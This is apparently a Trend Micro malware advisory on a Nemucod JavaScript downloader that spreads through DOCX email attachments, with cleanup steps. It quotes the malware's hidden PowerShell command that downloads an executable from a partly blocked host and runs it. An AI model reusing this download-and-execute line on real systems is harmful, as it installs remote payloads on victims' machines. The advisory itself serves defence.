JS_NEMUCOD.AUET
TrojanDownloader:JS/Swabfex.P (Microsoft); JS/Nemucod.334F!tr (Fortinet); JS.Downloader (Symantec)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}a.{BLOCKED}atinos.com/js90.bin?GRnuvHf
It saves the files it downloads using the following names:
- %User Profile%\AppData\RoamingXNe56.Exe
(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
As of this writing, the said sites are inaccessible.
Other Details
This Trojan does the following:
- The malware uses powershell commands in executing its malicious routine:
- “%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://{BLOCKED}a.{BLOCKED} atinos.com/js90.bin?GRnuvHf','%APpdATa%XNe56.Exe'); sTArt-procEss '%appDAtA%XNe56.ExE'
- It queries the following registry entry and uses the 12th character of its data for its routine. It will not proceed with its intended routine if the character is not "F".
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
NOTES:
This malware arrives through a DOCX file. It is embedded and will execute its routine upon activation by the user:
Upon execution of this malicious embedded JS file, it displays the following message box to trick the user:
It does not have rootkit capabilities.
It does not exploit any vulnerability.
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %User Profile%\AppData\RoamingXNe56.Exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as JS_NEMUCOD.AUET. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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